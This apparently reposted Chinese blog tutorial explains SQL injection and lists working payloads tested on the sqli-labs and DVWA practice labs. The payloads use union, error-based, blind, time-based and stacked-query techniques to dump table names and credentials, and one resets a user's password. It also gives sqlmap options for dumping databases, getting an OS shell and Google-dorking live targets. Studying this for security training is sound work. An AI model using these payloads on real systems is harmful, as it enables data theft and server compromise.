常见web漏洞的整理之SQL注入

SQL注入:

  • 简介:
    • 全称Structured Query Language,即结构化查询语言,是一种特殊的编程语言,用于数据库中的标准数据查询语言。也被作为关系式数据库管理系统的标准语言。
  • 原理:
    • 在用户可控的参数中,注入SQL语法,破坏原有的SQL语句,达成编程时意料之外结果的攻击行为,实现与数据库的非法交互。
  • 分类
    • 从数据类型:
      • 数字型:注入的数据,拼接到SQL语句中是以数字型数据存在,简单理解就是两边没有被单引号、双引号包括。
      • 字符型:被各种符号包裹着。
      • 如:

        select * from news where id=1;
        select * from news where id='1';
        select * from news where id="1";
        select * from news where id=('1');

    • 从注入手法:
      • 联合查询注入 UNION query SQL injection
      • 报错注入 Error-based SQL injection
      • 布尔注入 Boolean-based blind SQL injection
      • 延时注入 Time-based blind SQL injection
      • 堆叠查询  Stacked queries SQL injection
  • 注入点判断:
    • 尝试闭合,输入单引号或双引号等
    • ?id=111-1/+1,若有返回数据,可以判断存在数字型,比较少见
    • and 1 = 1/ 1=2
    • ‘ or 1=1# 
    • 等等等等,其实注入点判断有很多种,毕竟现在都架起了各种waf,安全意识都增强了,这种漏洞也都被修复,或者被保护了。

以下测试环境为sqllab和dvwa靶场

联合查询:

  • 判断当前表中的字段(列)个数  ' order by 3--+
  • 查看显示位:
' union select 1,2,3--+
  • 查看数据库名
union select 1,2,database()--+
  • 查看表名
union select 1,2,(select group_concat(TABLE_NAME) from information_schema.TABLES(mysql内建库) where TABLE_SCHEMA=0x7365637572697479(数据库名16进制转码))
  •  查看字段
union select 1,2,(select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA=0x7365637572697479(数据库名) and TABLE_NAME=0x7573657273(表名))--+
  •  查看数据
union select 1,2,(select group_concat(concat(username, password)) from security.users)--+

报错注入:

  当页面存在报错信息时

  • 公式1
extractvalue(1,concat('^',(查询的内容),'^'))
?id=33 and extractvalue(1,concat(0x5e,(select database()),0x5e)) --+
  • 公式2
updatexml(1,concat('^',(查询的内容),'^'),1)
?id=33 and updatexml(1,concat(0x5e,(select versoin()),0x5e),1) --+
?id=33 and updatexml(1,concat(0x5e,(select concat(username,0x3a,password) from cms_users limit 0,1),0x5e),1) --+
  • 公式三

?id=1 and (select 1 from (select count(*),concat((select 查询的内容 from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+?id=33 and (select 1 from (select count(*),concat((select database() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+

布尔盲注:

  ?id=33 and 1=1 / 1=2--+ 返回状态不同,说明存在布尔注入

  • 判断查询内容的长度  
    ?id=33 and length(database())>0
    ?id=33 and length(database())=3
  • 按位查询字符
    ?id=33 and ascii(substr((select database()),1,1)) = 99
    ?id=33 and ascii(substr(database(),2,1)) =109

延时注入:

  and sleep(5)--+ 查看返回的时间长度,但易受网络波动。

?id=33 and if(ascii(substr(current_user(),1,1)) =114,sleep(5),1) --+

堆叠查询:

  同时执行多条SQL语句,简单举例:将用户id=1的密码重置为123456

?id=-1';update users set password='123456' where id=1; --+

SQLMAP的使用:

  将以上及更多的注入手法集成到了sql自动化注入工具sqlmap中。对它的基本参数还是要熟悉的。

  • -u 检测注入点
  • --dbs 列出所有数据库的名字
  • --current-db 当前数据库的名字
  • -D 指定数据库
  • --tables 列出说有表的名字
  • -T 指定一张表
  • --columns 列出所有字段的名字
  • -C 指定字段
  • --dump “脱库”
  • -u "shownews.asp" --cookie "id=2" --level2 cookie 注入
  • -u "url" --forms 自动检测表单
  • -r post.txt 从文件读取http 请求
  • --os-shell 获取shell
  • sqlmap -g "inurl:php?id=" 利用google 自动搜索注入点

  

总结:

  SQL注入原理很简单,利用起来方式很多;sqllab,dvwa这些简单的针对性靶场对sql注入的理解很有作用。起初黑客利用十分方便,但现在网站防护更严格了,就又产生了各种过滤。这里又要牵扯出很多知识。学无止境啊。

原文地址:https://www.cnblogs.com/foe0/p/11383216.html